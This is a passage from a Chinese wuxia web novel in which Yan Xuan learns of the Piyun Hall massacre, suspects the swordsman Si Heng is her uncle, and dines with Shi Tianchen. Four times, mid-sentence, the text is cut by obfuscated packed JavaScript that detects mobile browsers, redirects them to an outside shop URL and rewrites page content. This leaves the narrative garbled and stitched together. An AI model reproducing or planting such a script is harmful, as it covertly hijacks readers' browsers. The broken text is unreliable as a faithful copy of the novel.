纪霜叶上前几步,从袖中取出一物:“晏姑娘,正是此物,请看。” 晏璇接过,是一张被揉皱了的字条,说是字迹歪歪扭扭更像是非惯用手故意写就的。她看完一遍,没发现特别的地方,又递给孟珎传阅。 孟珎摸了摸纸张,这是普通宣纸随处可见,字迹又是潦草凌乱,一时找不到突破口。然而南塘境内,知道晏璇会医术的人寥寥可数…… 晏璇也在心中咀嚼了几个名字,想不出把她拱出去的理由是什么。她摇了摇头,无奈道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14233370|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是奇怪,会是谁呢?” 商陆搁在被上的手指轻轻摩挲,他偶尔轻瞥一眼晏璇,视线绝不多停留,不仅是因为男女有别,他能感受到姓孟的与她之间的特殊气氛,恐不是简单的师门情谊。 在客栈的这几日,商陆其实见过晏璇几次,不良于行的少女,苍白虚弱,脸上总带着一抹纯真笑意,像是一朵在风中摇曳的白晶菊。她看似最柔弱,却是那几人的中心,寥寥几句就能改变他们的行动。 “晏姑娘,你还有什么想知道的?”商陆问道。 晏璇想了想,不知要怎么提起披云堂的话题才不突兀,可怎么说都免不了人多想。于是,她决定实话实说,再掺些似是而非的东西。 晏璇深叹一口气:“商少侠有所不知,在你们追找那位姓殷的黑衣人时,有人突然发难,说我们与披云堂有牵扯不清的关系,与当年惨案有关,可我们怎会知道这些,在此之前甚至不知道这个门派。” “我向纪姑娘打听,存了心思没有说明真意,实在抱歉。然据纪姑娘所言,此门派早已不在,有关秘辛似乎也是禁忌,我才想着商少侠会不会了解一些。” 孟珎面色沉静未露出半分诧异,他望了眼晏璇,知她想借商陆之口探寻林叔的过往……他虽然答应了林靖不过问往事,可不该阻止阿璇想要了解的举动。 商陆与纪霜叶对视一眼才看向晏璇:“有关披云堂,派内确实有明令不再提起。不过,晏姑娘若是想知道,并非不可之事。当年掌门下令,只是因为披云堂所遭之祸过于血腥,不想引故人伤感。” 过于血腥……晏璇眉头下意识皱紧,林叔和同珩之间到底是怎样的恩怨…… 商陆见晏璇脸色微变,踟蹰道:“晏姑娘可还想了解原委?” 晏璇点点头:“请说。” “在远离中原武林的雪域有一泑山族姓司,大约二十年前,有两个年轻人来此游历,每到一处便想挑战各门最高武学。” “那两人可是一男一女?”晏璇轻问。 商陆顿了顿道:“是,晏姑娘知道?” 晏璇苦笑一声:“只是直觉猜测。” “那时的武林盟主还是峒山派邢掌门,有不少门派传信于邢掌门,说那司姓少年行事高调,连连挫败几大高手,到底是横空出世的异域子弟,来势汹汹动机不明。彼时,他们在披云堂做客,不日要挑战当时轻功武林第一的凌羽凌掌门。” 晏璇皱眉打断:“披云堂遭祸是因为这对司姓姐弟?” 许久后,商陆才点了下头:“当时的披云堂在江湖上以轻功闻名,凌氏有一本凌云秘籍传世。据当时其他门派所说,姓司的少年虽武功卓绝,轻功却非凌羽对手,此人好斗,怕是对披云堂早动了心思。” “果不其然,在比试前夜,披云堂弟子无故中毒昏迷,那二人突然杀意满满,凌羽为保护秘籍与门中其他弟子,与之殊死决斗。等邢掌门带人赶到已晚,遍地狼藉,死尸无数……凌掌门的尸首更是被悬挂于披云堂堂前,凌云秘籍从此失了踪迹……” 又是这样一边倒的描述……晏璇根本不信同珩会看上什么披云堂的武功秘籍,单从他的愤怒来看,难道不能是披云堂先做了对不起他的事?可林叔那么好的人,他会做出什么过分的事?晏璇胸口像是燃起了一团火,焚得她浑身疼痛,双手不自觉轻轻颤抖。 “阿璇!”孟珎见她脸色惨白,蹲下身紧握住她的手无声安慰。 晏璇缓缓摇了摇头,才觉眼中湿润,她眨眨眼又向商陆问道:“当时披云堂可有活口留下?” 商陆目光不经意扫向孟珎,一顿之后收回,垂眸道:“掌门被害,副掌门和大弟子纷纷失踪,其他死伤无数,剩下的无力支撑门楣便都散了。” “商少侠,那司姓姐弟呢?” “也失踪了,也有人说他们逃回了雪域。” “可知他们名姓?” “我只知其一,那也是江湖上骇于提及的名字。” “他叫什么?” “司珩。” 49. 第 49 章 同珩与司珩,巧合的名字加上汹涌的仇恨,眼前的一切似乎都指向同一个人。 无论是对年龄的推算,还是样貌特征上的蛛丝马迹,仿佛都在印证这一点。 孟珎犹记林靖当年教授他时并非对披云堂只字不提,彼时林叔沉眉冷肃,眼里盛着的不只有恨意。 “我传你武功,只是为了阿璇。所以,你不必喊我师父,披云堂早已断在我手里,凡事种种等我去了地府,自会向他们忏悔。”林靖曾对他如此说道。 “若有一日,有人瞧出你的来历,不必承认。门派重振再无可能,除了想探听凌云秘籍下落的只会是昔日仇人。” 孟珎从未想过多暴露,万不得已才会出手,若真引来了仇人,他只怕给晏璇带去麻烦。同珩的出现可谓猝不及防,几乎在认出招数的同时便满腔杀意,他多年隐藏一朝引来的恐是披云堂最大的仇人。 师妹定也是想到了,她用手支着额头靠在扶手上,一副魂不守舍的模样。 “阿璇,我在,勿怕。”孟珎仍是握着晏璇的手,她发凉的手心被他一点点捂热。 昔日恩怨,有人选择隐姓埋名淡忘,有人仍在血海中沉沦,他们如何交锋与晏璇何干,孟珎不会让这团火燃到她身上。 屋内点灯如昼,晏璇却觉得眼前有大片的昏暗袭来,脑袋的眩晕不知是偶发症带来的征兆还是其他原因。孟珎在她耳边说着什么,她没听清,熟悉的药香让她感到一丝宁静,鼓噪的心跳,还有嗡嗡作响的耳鸣才偃旗息鼓。 “师兄……” 少女的呢喃让商陆不经意瞥去一眼。他是峋山派大弟子,是所有人的师兄,他听过无数人喊他的声音,却没有哪一种是如今这声似叹息似缱绻的呼唤。 知对方并非喊他,商陆在清醒的瞬间赧意上涌,他借着病体假咳一声。然,他眼见着少女的脸色一点点变白,本是瘦弱的模样更显无力,商陆遂偏头轻问:“晏姑娘,可有哪里不适?” 晏璇眼眸轻抬,叹息着摇了摇头:“我没事,只是乍闻往事……有些唏嘘。” 披云堂的旧事她大致明了,表面上它似乎是由贪念引起的江湖恩怨,可其中涉及的东西太多,一个门派的覆灭就是一个势力团体的分崩离析,向来以正义自诩的江湖人为何会对此讳莫如深? 晏璇迫切想要和林叔见一面,或许同珩,不,是司珩与他之间并非你死我活的水火不容,林叔能埋葬过去放下仇恨,为何司珩做不到?她非是道德指责,而是在对比中,晏璇发现了某个人的重要性,正因为她的失踪,司珩一直陷落在当年的仇恨中。 林叔,她若猜的不错,披云堂的大弟子就是他,当年应当也是意气风发的少年,他没有追着司珩寻仇而是在她家隐姓埋名,这之中定发生了许多不为人知的事。 商陆见晏璇眸中尽是痛惜之色,所思所想俱都摆在脸上,师妹说她是个性情真挚纯真之人不似作假,旁边孟珎的目光更是一直旁若无人地跟随着她。 他心湖微荡,不知这异样为何,收拢心绪问道:“那发难之人,二位可有了头绪?” “那人本是含糊其辞,不知将我们错认成了谁。如今大致知晓了披云堂的事,若再与他碰上,我们亦有办法。”晏璇道。 “希望只是一场误会。”商陆的视线扫过孟珎,对晏璇点点头道,“要是能有帮得上的地方,二位请说。” “好啊,我听闻峋山派是个大门派,商少侠结识的朋友一定很多,若到时我想求助可不会客气的。”晏璇笑道。 “虽说是救了人,可也太……” “以后若是挟恩图报,大师兄怎会拒绝!” 门口传来几个小弟子的嘀咕声,在场几位除了晏璇和晏曜,哪个不是耳力惊人,便都听得一清二楚。商陆的面色当即冷了两分,纪霜叶有心教训,可一旦开了口真就让人看了笑话。 晏璇犹未知,可小九这会为了将功补过,兢兢业业当它的传声筒。 小年轻们不是缺乏阅历,就是几个师兄师姐太宠了,一点不懂事啊…… 晏璇向着房门处瞥去,身侧几人似乎跟着提了一股气,她心中好笑,摩挲了下轮椅扶手柔声道:“之前我见不少小弟子似乎也负了伤,可否需要我和师兄帮忙诊治?” “只收取少许诊金哦。” 晏璇比了个手势,一脸坦荡荡笑得纯粹。 纪霜叶自是希望晏璇施以援手,可此时应了总觉得对不起小姑娘的一片赤诚,她富有善心,做事不矫揉造作,就连主动提诊费都可爱得很,纪霜叶是打心底喜欢这姑娘。 商陆有片刻的怔愣,几分道不明的情绪渐染上那双冰泉似的眸子,他叹息一声,语气中含了他未察觉的柔情:“那就多谢晏姑娘了。” 在商陆房里又耽搁了一会帮小兔崽子们治伤,晏璇才不管他们脸上是什么颜色,她只听到脑海里不断传来系统的声音。 【有新的提示:救死扶伤,生命值加0.1%。】 离开房间前,晏璇还夸赞了一番商陆那把嵌着宝石的长剑,当初第一眼她就是被他手里的剑给吸引了目光。商陆道那是他师叔赠予他的正式入门礼,名叫赤星。 等回了自己房间,晏璇有些疲惫地瘫坐在床上,孟珎问她想吃些什么,她只是恹恹摇头。 “藕饼怎么样?外酥内嫩,以前这个节气你很爱吃。”孟珎递了杯温水给她,“你等一会,我马上去做。” 晏璇拉住他的衣角,轻声道:“师兄,我不想吃什么藕饼,想跟你说些话。” 师妹大半是要跟他说林叔的事,他点了头坐到她身前:“可你一天都没怎么吃东西,让晏曜找客栈的人准备一些,好不好?” “那……要一碗素面,加一颗煎蛋,汤头要酸咸口的。” 孟珎笑着说:“好。” “小姐,那我、我现在就去。”晏曜得令,匆匆下了楼。 “师兄。”晏璇酝酿了会,怕隔墙有耳,又让孟珎靠近了些,低声道,“我猜林叔就是披云堂失踪的那个大弟子,是不是?” 孟珎沉着眉,替晏璇按揉伤腿的手一顿,微点着头道:“林叔说他原本姓凌,遇到你爹娘时才改了名字。我曾在他的佩剑上看到刻着‘飞燕’二字。” “凌飞燕……”晏璇喃喃。 孟珎:“或许那只是他佩剑的名字。” 晏璇摇摇头,露出点怀念又无奈的笑意:“这一定是他的原名。” 师妹从小和林叔生活在一起,一定是想到了什么特别的地方,那是他们之间的回忆。孟珎也不追问,只是静静地望着她。 晏璇轻咳一声,摸了下耳后道:“就是,就是小的时候,爹怕我一个人太闷了,就抱了一只小奶狗给我解闷。我想给它取个名字,当时也不知道自己在想什么,看到檐下正飞来一只燕子,我便说叫它‘飞燕’好了,以后肯定是个跑得飞快的小家伙。” “然后,哈哈,林叔就跟了我一整天,说这个名字不好,要取就取一个吉祥的,我也不懂那名字哪里不祥。当时他的脸上,我想想,有些惊讶也有些无奈,甚至有些焦急,他一遍遍哄我一定要取个寓意好的。” 晏璇深吸了一口气,才继续道:“他……那个人笨得很,跟师兄一样,什么都不会说,别人早看透了。什么吉祥,什么寓意好的,他就没觉得自己一点好。” 突然被点了名的孟珎一愣,耳根火烧般发烫,他抿了唇笑叹着:“阿璇,我错了。” 不愧是师徒,这噎人的死性子,可孟尧明明很豁达,孟珎怎么没学着半点,晏璇忍不住瞪他一眼。 “那后来……小狗取什么名字了?”孟珎问。 晏璇笑了笑:“叫达达,飞黄腾达的达。你是不是想问,为什么不叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14266120|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞黄?” “没有,达达很好。”孟珎摇头。 “可惜,它后来走丢了,也不知道是不是被人拐跑了,反正再也没回来。” 晏璇没说的是,在达达走丢不久,在她家院外不远的地方曾发现一滩血迹和一只铃铛,她曾在达达身上戴了铃铛项圈,她知道它不可能回来了。 当初,孟珎身上响起久违的银铃声,她在怔愣的瞬间应该有想起它的样子,想起它围在自己身边傻笑着吐舌头的样子。 “不管它在没在,它一定记着你喜欢你。” “师兄怎么知道?” 孟珎望着她仿佛含着潺潺流水的明亮双眸:“因为你也喜欢着它。” “哦,我们继续说林叔的事……”晏璇不好意思别开了双眼,“当年他——” “阿璇!” 花奕的声音突地大喇喇传来,她敲了敲门,推门后大步走来。 “那个姓同的,我打听到他住在杏花巷子,结果等了半天人影都没见着,那个疯子到底把你什么东西借走了?”花奕气鼓鼓说完,拿过桌上的茶壶连喝了好几杯茶水。 “什么东西借走了?”孟珎皱眉道。 晏璇抿了抿嘴,心中渐渐升腾起一股激荡的情绪,仿佛等待揭开某件宝物的神秘面纱。她睁着那双湿漉漉的眼睛,对花奕道:“奕姐姐,你回来的正好,我有很重要的话……同你们说,你先把门关好。” “嗯?我才离开一会,怎么这么一副委屈样子?孟珎欺负你了?”花奕嘴里念叨着,人已经往回走把门关严实了。 孟珎:“……阿璇,你想说什么?” 晏璇深吸一口气道:“同珩,大概就是商陆口中说的司珩,也就是当年披云堂祸事的凶手。” “那姓同的是——”花奕压低了声音,瞟了眼孟珎,看来在她离开这点时间确实发生了些什么。 晏璇点点头,她望着搁在腿上的双手,十指纤纤却在不自觉微颤。 “怎么了?还是在担心林叔?”孟珎拉过她的左手腕,想替她重新诊个脉。 “师兄,我没事。”晏璇握了握拳想止住这不可控的颤抖,她抬头,眼神是过往少见的认真凝重。 “司珩……很可能是我的舅舅。” 一时间,屋内鸦雀无声,只有夏日晚风透过窗纱传来似有若无的絮语。 花奕猛眨了两下眼睛,屏着呼吸瞧了眼孟珎,又把视线转移到晏璇身上。她上前几步,两手揪住晏璇的耳垂扯了扯,低声道:“真的?没开玩笑?他怎么可能是——” 晏璇把手覆在花奕的手背上,郑重地点了点头:“错不了。我让你找他来,其实就是想确认一些事。” 孟珎沉默的时间有些长,他把他与晏璇遇到司珩以来所发生的所有事仔仔细细想了一遍。 “他说你长得像他的亲人,那个人就是你母亲,而你母亲多年前应与他分开了,遇到了你父亲。”孟珎缓缓道。 晏璇“嗯”了声:“我也是这样想的。起初,我没想明白,是因为他虽然总说我的相貌和那人多像,不能吃鱼的毛病一样,却认定了我娘在与他分开那年就死了,我只是他找到的我娘的转世而已。” “等等,我头有些晕。”花奕捂了下额头,“阿璇,你怎么这么快就接受了?你真当和他……” “所以,我想尽快去一趟郦城。也许,爹娘的线索就在那。” 晏璇说着,抚了抚花奕的胳膊:“奕姐姐放心,我不会随便认亲的。还有一个令我相信的点是——” “谁?” 孟珎“哗”的一下起身,对着晏璇抬手做了个噤声的动作。 几人望向门口处,有一片模糊的阴影正投在门上。 孟珎缓步走到门后,那片阴影也随之清晰显现出一个人影来。 孟珎扬声道:“谁在门外?” 50. 第 50 章 “是我,孟先生。” 随着叩门声起,门外传来客栈掌柜温和的声音。 孟珎顿了顿打开门,掌柜正弯着腰,一脸恭敬。 “陶掌柜,有何事?” “孟先生,深夜打扰,多有抱歉。”陶青从袖中掏出一封勾画着竹叶暗纹的信笺,递给孟珎,“这是少主要我转交给晏姑娘的,请代为收下。” 时天辰……他的病已无大碍,几次三番想找师妹是为了什么? 孟珎按下疑惑,接过信笺,陶掌柜脸上始终一副和蔼模样,他笑着道:“我叫后厨多备了些茶点熟食,几位若还有其他需要,请尽情吩咐。” 孟珎稍点了下头,道了句多谢。 房门合上,陶青背着手悠悠下了楼。 斜对面,纪霜叶捧过小弟子送来的吃食,轻轻关上了门。 她将一碗药粥并一盘肉饼端放在商陆床头,商陆半靠着,手里是刚擦拭完的赤星。 纪霜叶微叹:“师兄,你才刚醒不久,还要多多注意身体。” 闻言,商陆将剑放在身侧,面冷如霜的男人微微露出点笑意:“无事,我好多了。师妹,这几日劳烦你了。” “你与我客气什么。”纪霜叶无奈摇头,大师兄总这般谦逊有礼,给人一种拒人千里之外的疏离。 她将药粥递给他,说起在门外看到的那幕:“方才,我瞧见客栈掌柜又去找晏姑娘他们了,小心翼翼的,不知打了什么算盘。” “对待贵客,他自是要毕恭毕敬的。”商陆望着床前的药罐,道,“我虽不知晏姑娘的师父是谁,但近日江湖上有位药师玄,我猜……可能便是她。雀来客栈与金雀山庄又有着丝丝缕缕的关系,他们在此停留,并非偶然。” “最近那个小有名气的炼药师?是晏姑娘?璇化名为玄……倒真有可能是师兄说的。”纪霜叶讶异,语气中自然流露出几分赞佩,“她年纪小小竟有如此本领,可惜……” 可惜灼灼年华却是医者不自医,没有一副健康的身躯。纪霜叶的未尽之言满是惋惜。 商陆长睫垂下,敛住眸光,口中的热粥有着药材的清苦味,他咀嚼过后吞咽了小口:“此前传言金雀山庄大公子遇袭,金庄主心急如焚,可最近却没了那样的消息,若是请了晏孟二位在此就说得通了。” “金雀山庄的人藏在南塘?” 商陆点点头:“原本,我们追查殷数的踪迹一直无果,可此次异常顺利,其中怕是少不了他们的手笔。” “他们……为何如此主动帮我们?”纪霜叶不解道。 金雀山庄虽有天下第一庄的名号,其实很少与江湖各大门派往来,他们为人所知还是因其雄厚的财力。 “大公子据闻受得是毒伤……” “毒伤?袭击他的人莫非是殷——那,他们是想坐收渔翁之利?”纪霜叶想通了其中关窍,一下拧了眉。 商陆不置可否:“他们暗中送来那张字条,算是留了一线。” 纪霜叶喃喃:“原是如此……” 大师兄思虑透彻脑子转得快,今晚不过见了晏璇他们一面,他就已经理清了事情的脉络。 “要不要……给晏姑娘他们提个醒?”纪霜叶道。 “不必了,解释起来多有麻烦。”商陆顿了一下,又道,“或许,她心思简单,反而更易猜到是谁做的。” 晏璇接过孟珎递过来的信笺,左右翻看了一遍,这时天辰的字怪好看的,信纸也是挑的那种文人墨客喜欢的带花鸟纹的清新笺纸。 “今早,陶掌柜来过一次,口头邀我们去味香斋见面。”孟珎在一旁道。 晏璇把信笺交还给孟珎收着,微笑道:“看来时少主的身体是好了,也不怕外头有人寻他麻烦。那我们便去吧,看看他想做些什么。” “他若来,邱明嘉是不是也在?”花奕双眼顿时亮了起来,“金鹄手下四大高手之一,还是品贤阁的阁主,真是想不到。” “他不敢不来,毕竟殷数只是逃了。”孟珎接道,望向晏璇,“阿璇,隔壁峋山派收到的字条……” 晏璇读懂了他眼中的忧虑,但他未阻止她与时天辰往来,仍以她的意愿为先。他习惯了在一旁做她的后盾,同样的,晏璇愿回以他一片安心。 “师兄,我明白,最近巧合的事实在太多,我这颗咸鱼脑袋都要开窍了。他们既然如此慷慨,还介绍病人给我赚诊金的机会,我们正好在宴上谢谢人家。” 前头,一场声势不小的围攻,殷数才堪堪负伤逃走,紧接着时天辰就敢现身了,保不准金雀山庄在其中使了什么手段或者有做什么促成了这场围困。等商陆重伤时,又恰好把她推了出去,因为时天辰知道师兄待人冷漠未必出手,而她可是钻钱眼子里的药师璇。 花奕愣着各看了他们一眼,后知后觉道:“你们这是在说……是那小子把阿璇你供出去的?” “不是他,估计也是他的人。”例如邱明嘉、杜若,甚至可能是陶掌柜……晏璇扬了扬眉。 花奕哼了声:“这些人精,明天我就去会会他。他的事先放一边,刚才说到同、司珩,阿璇,这到底是怎么回事?” 孟珎知道晏璇身体的特殊状况,她便向花奕简单说了说,包括发现司珩的异常之处。 “你……”花奕顿了半晌,又贴近门口去听了听周围的动静,确保没有隔墙有耳。 “阿璇,你亲生阿爹阿娘到底是什么人?” 晏璇苦笑道:“我也不知。就在月前,突然有人跑来我面前,反问我为什么还活着,他说应该让我早点去和爹娘团聚。” 蓦地,花奕倾身半抱住她,拍拍她的后背咬牙道:“别听那混蛋说的,他这么惦记着你爹娘,怎么自己不早点下去。别担心,我们陪你一起去郦城。” 孟珎想过司珩错认的可能,可听到晏璇说到血脉相关,他也略有震惊,那人是她舅舅的可能性极大,所以她才会如此关心披云堂的事,不仅是放不下对林叔的担心。 至于去郦城,她当初一心想跟着自己离开斛县,也是做好了打算。倘若没有遇到花奕,她会不会坦白而非一个人上路?孟珎想,会的,可他希望晏璇能更信任他一些,她对自己有所保留只因他还未完全够格。 思及此,孟珎些许感叹,他不仅要成为一个可靠的兄长,还想成为晏璇心里特别的人。 “阿璇,你想让……司珩一起去郦城吗?”孟珎问道。 “若我娘真是当年与他一起游历的人,那么林叔与他之间或有转圜。但我,并没有打算告诉他所有,以他这般偏执的性子,要是知道我娘后来真的不在了,大喜大悲下不知会做出什么来。”晏璇对司珩还不算了解,凡事要徐徐图之,“到时,我只说有线索指向郦城,走一步算一步吧。” 孟珎点点头:“嗯,也好。” “当年披云堂的事或有隐情,可司珩,你舅舅作为当事人不觉得,现在找他来,他又对着你师兄发疯,怎么办?”花奕皱眉道。 “让他冲着我来,没关系,我不承认便是。”孟珎淡淡道。 花奕瞪着他嫌弃极了:“呆子!且不说他能两掌把你劈了,若阿璇与他相认,他便是不打死你,也暂不会让你当阿璇的跟屁虫。” 孟珎:“……” 似想到了什么,孟珎微抿了下唇。 “奕姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不久,晏曜端了素面和几样小点心回来。几人商定,等见了司珩,无论他信或不信,他们都要动身前往郦城。 “那个男人真的是小姐的亲人?”晏曜小声道,脸上有着恍然和感慨。 晏璇咽下一口面汤,瞧着他:“小曜,你好像……一点都不惊讶?” “惊讶的。”晏曜因为晏璇的称呼,又变得开心起来。他原本坐着吃点心,一下子站了起来,有些局促地挠了挠头。 他先是看了看花奕和孟珎,才对着晏璇道:“只是,上次和那个人一起吃饭,师父和孟大哥不在。我好几次发现他在想问题的时候,很喜欢拿手指在桌上画圈,就像这样……” 花奕看着晏曜示范的样子,慢慢将头转向了晏璇,抬手指了指她:“阿璇,你也有这个习惯。” “是吗?”晏璇略觉好奇,有些不可置信地看向孟珎,师兄与她相处最久,不知他有没有注意到这点。 谁知孟珎对她只是浅浅一笑,视线落在她搁在被面上的右手。 晏璇一愣,低头发现自己的食指正扣着被角,不知在上头比划了多久。 晏璇:“……” 晏曜腼腆笑笑:“那时,我只觉得奇怪,想那人跟小姐该是有些缘分的。” 晏璇真没注意到自己的这个小动作,估计是遗传了她外公外婆,泑山雪域啊,好遥远的地方…… 一夜相安无事。早起,花奕又去了一趟杏花巷子,司珩仍不见踪影。 晏璇给隔壁的商陆送了一回药,便和孟珎他们一起去赴时天辰的约。 味香斋内,一间普通的包房。 时天辰一身沧浪鎏金水纹长袍,背手站在窗边,左右分别是抱手而立的邱明嘉和垂眸不知在想什么的杜若,其余未见他人。 晏璇的腿还不能行走,由孟珎抱着她上了二楼,花奕提着轮椅紧跟其后。 听到开门的声响,时天辰含笑声起。 “诸位,有失远迎。” 51. 第 51 章 时天辰有事求她。这是晏璇进房间后的第一感受。 虽然吃饭的地方是个不方便上下的二楼,但对方给她准备了特别的靠椅以及脚踏,她可以没什么负担地坐在桌前。 旁边的茶炉上煮着茶,是晏璇喝过一次的云雾,闻着茶香便觉清幽怡人。桌上摆着几碟点心,有梅花酥饼、脂麻团子、蜜煎樱桃和一种叫缩脾饮的解暑糖水。每一样吃食甜香诱人,似乎都是照着晏璇的口味选的。 那糖水还用特制的竹筒杯盛着,杯壁上凝着细小的水珠,她想念起家里阿婆煮的酸梅汤,这个节气里,要是喝上一碗足以沁人心脾。 时天辰亲自为她斟茶,微微一笑道:“晏姑娘,这糖水配着茶点吃刚刚好,既解腻又解暑。” 晏璇刚吃了一个团子,欲拿茶杯喝水润喉的手一顿,视线又落回竹筒杯上。 一块梅花酥饼忽的被夹到了她碗中,晏璇听身侧的孟珎低声道:“太凉,喝那个会肚子痛。你要是想尝,等温过了再喝?” 仿佛马上感受到了小腹那股被刀子划拉的剧痛,晏璇瞬时头皮发麻,赶紧摇了摇头,捧起手边的热茶喝了一口。 时天辰嘴角笑意微凝,随即抱歉道:“是我考虑不周。阿若,麻烦店家再上一壶热的。” 杜若一身月白布袍,气色尚佳,只今日格外的沉默,他扫了一眼对面忙应下,抬脚去吩咐下面的人办事,就见晏璇举手拦住了他。 “少庄主,不用,这样就好。” 她盈盈浅笑,语气与那日请人喝茶时无差,笑意带着疏离不达眼底。杜若一时顿住,在客栈急退的狼狈还历历在目,那碗难咽的药茶他本以为是她撒气的报复,不想…… 对着孟珎,他不怕对方甩冷脸说些狠话,尚且能有来有往,对着晏璇这个姑娘,杜若难堪起来,踟蹰着如何开口。一旁的花奕两口喝完糖水,擦了擦嘴道:“我替阿璇喝了,不是她喜欢的味道,不用再麻烦人换了。” 她侧眸看向时天辰,又将他身边的邱明嘉上下扫了眼,神色是难得的正经,微挑着眉道:“时少庄主,咱们开门见山,今日请人来是有何事相商?” “花姑娘稍安,此次少主也是为了想表示对几位的谢意,不如边享用佳肴边聊,这里的南塘菜还不错。”邱明嘉笑着道,他穿着件山水纹剑袖亮色袍,双眼眯起一副人畜无害的样子。 时天辰傻不傻或待定论,身边却是有两只狐狸,一只纯色的,一只花色的。 晏璇指了指边上空位:“那邱阁主和杜管事也一起坐下吧,我不喜欢吃饭的时候有人站在一旁看着。少庄主,你觉得如何,可会介意?” 时天辰欣然道:“当然不会。” 他左右看了看,邱明嘉和杜若两人听令入座,六个人围着小圆桌一下坐满了。 时天辰虽眉目含笑,神色紧绷显然心事重重,大概在想着开口的时机。邱明嘉和杜若,一个和花奕时不时眼神交锋,一个垂头偶尔喝口热茶。真正想着吃饭的只有孟珎和晏璇,一个负责夹菜,一个负责吃菜。 孟珎的筷子在一块香煎脆骨上停留了一瞬,他顿了顿后夹了旁边的油麦菜放到了晏璇碗中。 “嗯?”晏璇望着碗里的绿色蔬菜,不解道,“师兄是怎么发现的?” 她爱吃肉,眼看着孟珎即将在那道让她中招过的菜上落筷,怎么就忽然换了方向? 孟珎:“因为有人只分得清黄芪和苦参。” 晏璇无奈,是这道菜做得太有迷惑性了,相似程度不亚于姜丝和土豆丝的样子。 对面几人闻言,视线均似有若无地飘了过来。 时天辰看孟珎细心为晏璇布菜,不像只是为了照顾伤患,更像是长久习惯下的自然举动,哪些菜晏璇爱吃,哪些菜她只想尝个味道,他似乎了然于心。时天辰扫过桌面,好奇道:“晏姑娘……不喜吃鱼?” “啊……我不太喜欢鱼腥味,加上喝药需忌口。”过敏也是弱点,晏璇不想暴露给这几个人知道。 “原来如此。”时天辰点点头,“那……晏姑娘的伤可好些了?何时能下地走路?” “有师兄为我每日针灸,不过伤筋动骨总是好得慢些,想要下地还得月余。” 杜若抬起头,眼神飘忽欲言又止,邱明嘉见了,笑叹一声遗憾道:“若是能寻得一颗龙芝丸就好了。” “龙芝丸?”晏璇歪头看他。 孟珎在旁解释道:“是传闻中的神药,具有接骨续脉的功效。” “哦。”晏璇了然地点点头。 吃了药就能接骨?可劲吹吧,能比什么黑玉断续膏还厉害? 见晏璇反应平平,邱明嘉意外道:“晏姑娘身为药师,竟然没听过龙芝丸,我以为那是众多医者想要追求的东西。” 是医者追求还是他们学武的江湖人需要? 晏璇笑笑:“我一向志向浅薄,所求不过银钱几两,传闻中的东西不敢想。” “晏姑娘实在,如今像你这般耿直质朴的人不多见了。” 是啊,她一个大俗人,要多质朴有多质朴,且看邱狐狸要挖什么坑给她跳。 “眼下正好有件事,既是晏姑娘得心应手的,又能得到丰厚酬金,晏姑娘可有兴趣?” 这……猝不及防的,就直接开口了?晏璇和孟珎对视一眼,望向还微愣着的时天辰。 “少庄主,这才是你请我们来的主要目的吧?”晏璇同样懒得废话,一针见血。 时天辰起身,一手捞着宽袖,一手给晏璇续上热茶,微叹道:“不瞒晏姑娘,我有一至亲病弱多年,今见识了你和孟先生的医术,故……想请你们帮忙为他诊治。” “多年未愈,我与师兄未必能帮上忙。” “其中状况些许复杂,待我细细说明,请晏姑娘再下决定。” 时天辰说的这个病人是他舅舅,多年前受了刺激精神有点异常,加上他讳疾忌医不愿见人,病体越拖越虚,壮年之龄却是一副垂垂老矣的模样。 “我娘只余我舅舅一个族弟,忧心不已,我既不忍她终日哀愁,也不忍舅舅再受病痛折磨,这才不顾晏姑娘腿伤提了无理要求。” 时天辰倒是有孝心,自己治病的同时还想着家里人呢。可是据他描述,他舅舅很大可能得的是心理疾病,晏璇不觉得自己有那个能耐能治,而且她想着尽快前往郦城。 晏璇还在考量,小九激动地冒出来:【宿主,去吧,治病救人大功德,郦城晚点去也没关系。那个男人到现在都没消息,是不是已经被宿主的药控制住了?】 晏璇:【你不说我都快忘了,当时炼那药也是试手,还不知道有什么副作用,应该……不会死了吧?】 小九:【……】 听时天辰又道:“舅舅所居之处离南塘不远,晏姑娘若能走一趟,除却奉上诊金,其他时某能办到的事亦可帮晏姑娘办到。” 晏璇想查身世,可这事万不能交给旁人…… “时少庄主,不是阿璇不愿帮你,实是我们有事不日将离开南塘。”花奕道。 “是吗?”时天辰双眼耷拉失落不已,而后他又勉强打起精神,笑道,“那你们是要前往何处?晏姑娘双腿不便,路上我可命人帮忙打点一二。” 晏璇单手食指在桌上画着圈,她低头时一愣,缩回手指有些拘谨地摩挲了下指尖。 “其实,我们要去的地方也不远,就在丰州东边上。若是顺路,也不妨去看看。”晏璇转头询问孟珎和花奕,“师兄,奕姐姐,你们觉得如何?” 花奕:“我无所谓,听你的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 